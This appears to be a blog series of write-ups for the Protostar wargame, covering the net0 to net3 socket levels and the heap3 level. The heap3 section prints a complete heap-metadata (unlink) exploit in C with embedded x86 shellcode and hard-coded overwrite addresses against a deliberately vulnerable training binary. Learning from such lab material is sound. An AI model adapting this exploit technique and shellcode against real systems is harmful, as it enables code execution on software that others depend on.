Exploit Exercises Protostar — net3

This challenge is more-or-less straightforward. Source code is quite easy to grasp and shows plainly what needs to be done, however one can easily craft wrong input that looks completely valid. Hence, focus should be applied into packet design. (I myself had some problems with username, it is hinted in the source code.)

user@protostar:~$ cat net3.c
// I really *do* hate Beej's Guide to Network Programming. I can't stress enough
// how awfully it is written.
// Read books from Stevens or just google for network code and read it.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define HOST "127.0.0.1"
#define PORT 2996

int main(void)
{
char response[64];
int sockfd, len, i;
struct sockaddr_in srv_addr;

sockfd = socket(PF_INET, SOCK_STREAM, 0);

memset(&srv_addr, 0, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons(PORT);
srv_addr.sin_addr.s_addr = inet_addr(HOST);

if(connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) != 0) {
printf("[-] Error: Unable to connect.\n");
exit(-1);
} else
printf("[+] Connected successfully.\n");

send(sockfd, "\x00\x1f", 2, 0); // size of buffer sent as big-endian
send(sockfd, "\x17", 1, 0); // marker for switch
send(sockfd, "\x5"net3\0", 6, 0); // size (sizeof("net3")+1) and resource
send(sockfd, "\xd"awesomesauce\0", 14, 0); // size and username
send(sockfd, "\x9"password\0", 10, 0); // size and password
// Note: Yes, in C, "AB"CD" makes "ABCD" string. And it is required in username
// since "\x0dawesomesauce" treats \x0da as number.

len = recv(sockfd, response, sizeof(response), 0);
response[len] = '\0';

for(i=0; i<len; i++)
printf("%c", response[i]);
putchar('\n');

if(close(sockfd) != 0) {
printf("[-] Error: Failed to close connection.\n");
exit(-1);
} else
printf("[+] Disconnected successfully.\n");

return 0;
}
user@protostar:~$ cc net3.c -o net3
user@protostar:~$ ./net3
[+] Connected successfully.

!successful
[+] Disconnected successfully.

And now only finals are left.

Exploit Exercises Protostar — net2

There is nothing to explain in this level. Primitives from net0 and net1 are combined, hence if you’ve solved them you automatically know how to solve this one.

user@protostar:~$ cat net2.py
#!/usr/bin/python

import socket
import struct

HOST = "127.0.0.1"
PORT = 2997

s = socket.socket()
s.connect((HOST, PORT))

x = 0
for i in range(4):
tmp = s.recv(1024)
x = x + struct.unpack("<I", tmp)[0]
x = struct.pack("<I", x)
s.send(str(x))
print s.recv(1024)

s.close()
user@protostar:~$ chmod +x net2.py
user@protostar:~$ ./net2.py
you added them correctly

Exploit Exercises Protostar — net1

The tricky part in this challenge is in the data sent by the server. One must realize that the server is randomly picking integer but compares against string, hence we need to receive an integer and then send it as a string.

user@protostar:~$ cat net1.py
#!/usr/bin/python

import socket
import struct

HOST = "127.0.0.1"
PORT = 2998

s = socket.socket()
s.connect((HOST, PORT))

tmp = s.recv(1024)
print "[+] received: " + tmp
msg = str(struct.unpack("<I", tmp)[0]) + '\0' # unpacking *raw* integer and converting it to string + NULL-terminate
print "[+] unpacked: " + msg
print "[+] sending: " + msg
s.send(msg)
print s.recv(1024)

s.close()
user@protostar:~$ chmod +x net1.py
user@protostar:~$ ./net1.py
[+] received: rc
[+] unpacked: 1668431131
[+] sending: 1668431131
you correctly sent the data

Exploit Exercises Protostar — net0

Exploit-exercises site isn’t working properly, however I will skip including source code since it is not relevant in this challenge.

Nothing here to actually explain. Just follow the instructions and it can be done manually. We will do it with python.

user@protostar:~$ cat net0.py
#!/usr/bin/python

import socket
import struct
import re

HOST = "127.0.0.1"
PORT = 2999

s = socket.socket()
s.connect((HOST, PORT))

msg = s.recv(1024)
magic_number = re.findall(r'\d+', msg)[0] # first element is our number
magic_number = struct.pack('<I', int(magic_number)) # converting to little endian
s.send(str(magic_number))
print s.recv(1024)

s.close
user@protostar:~$ chmod +x net0.py
user@protostar:~$ ./net0.py
Thank you sir/madam

Kthxbai.

Exploit Exercises Protostar — heap3

Long time no see. It took me 3 months of constant work to solve this challenge. Ha, ha, ha. So, shall we?

It seems that heap3 page is dead so I will include source code from google’s cache.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
char *a, *b, *c;

a = malloc(32);
b = malloc(32);
c = malloc(32);

strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);

free(c);
free(b);
free(a);

printf("dynamite failed?\n");
}

As we can see, there’s some straight forward heap action. This level is about exploiting via heap metadata, so I will not go into details because there’s nothing more that I can add to this two classic papers.

user@protostar:~$ ./heap3
pwned!
user@protostar:~$ cat heap3.c
// Exploit for protostar's heap3 example.
// For theory, see phrack 57.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TARGET "/opt/protostar/bin/heap3"

// Actual shellcode starts at payload[17] but for heap overflow via unlink() it
// was necessary to add \xeb\x0c (jmp 12 bytes ahead) and nop sled.
// Custom made shellcode, prints out 'pwned!'.
char payload[] =
"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x07" \
"\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xe2\xff\xff\xff\x70\x77" \
"\x6e\x65\x64\x21\x0a";

int main(void)
{
char* chunk1;
char* chunk2;
char* chunk3;

// First chunk is irrelevant (we exploit via chunk2+chunk3, however we
// could also exploit this via chunk1+chunk2)
chunk1 = (char*) malloc(32 * sizeof(char));
memset(chunk1, 'A', 32);

// Second chunk; there is char sled here + 2 DWORDs
chunk2 = (char*) malloc(40 * sizeof(char));

// Last bit of character needs to be set to 1; e.g. filling this chunk
// with 'B' crash the TARGET in the middle of the first free() (however,
// after overwriting FD with BK and vice versa) because bin('B') == 1000010
memset(chunk2, 'A', 40);

// Last 2 DWORDs are 0xfffffffc and they're overflowing chunk3
// heap header information
*(chunk2+32) = 0xfc;
*(chunk2+33) = 0xff;
*(chunk2+34) = 0xff;
*(chunk2+35) = 0xff;
*(chunk2+36) = 0xfc;
*(chunk2+37) = 0xff;
*(chunk2+38) = 0xff;
*(chunk2+39) = 0xff;

// Third chunk; there are 3 DWORDs here

// First DWORD is irrelevant
chunk3 = (char*) malloc(12 * sizeof(char));
memset(chunk3, 'C', 12);

// Second DWORD plays FD role, hence it's our write4-where (which is address
// of puts()-0xc in TARGET)
*(chunk3+4) = 0x1c;
*(chunk3+5) = 0xb1;
*(chunk3+6) = 0x04;
*(chunk3+7) = 0x08;

// Third DWORD plays BK role, hence it's our write4-what (which is address of
// the shellcode on the stack provided via env)
*(chunk3+8) = 0xaa;
*(chunk3+9) = 0xff;
*(chunk3+10) = 0xff;
*(chunk3+11) = 0xbf;

char* argv[] = { TARGET, chunk1, chunk2, chunk3, NULL }; // argv[] arg for execve()
char* env[] = { payload, NULL }; // envp[] arg for execve()
execve(TARGET, argv, env);

free(chunk1); free(chunk2); free(chunk3);

return 0;
}

// Last, but not least, we can skip env and exploit heap3 only via arguments
// since they're also stored on the stack and there is enough space for
// shellcode in e.g. chunk1 (or even chunk1 + chunk2 + part of chunk3)

I urge the reader to run this via debugger, set breakpoint on free() and puts(), and single step via interesting points.

PS. I feel obliged to point out that this challenge seems flawed to me. The reason is that the winner() function is in code segment, hence we can’t overwrite puts() address (via FD) with winner() address (via BK) because we will get segfault at the second write (first write is BK to FD+0xC, and second is FD to BK+0x8). In such scenario we can only exploit this via provided shellcode but that beats the purpose of the shellcode itself (we would jump to shellcode just to jump into winner(), then why not just spawn shell instead?).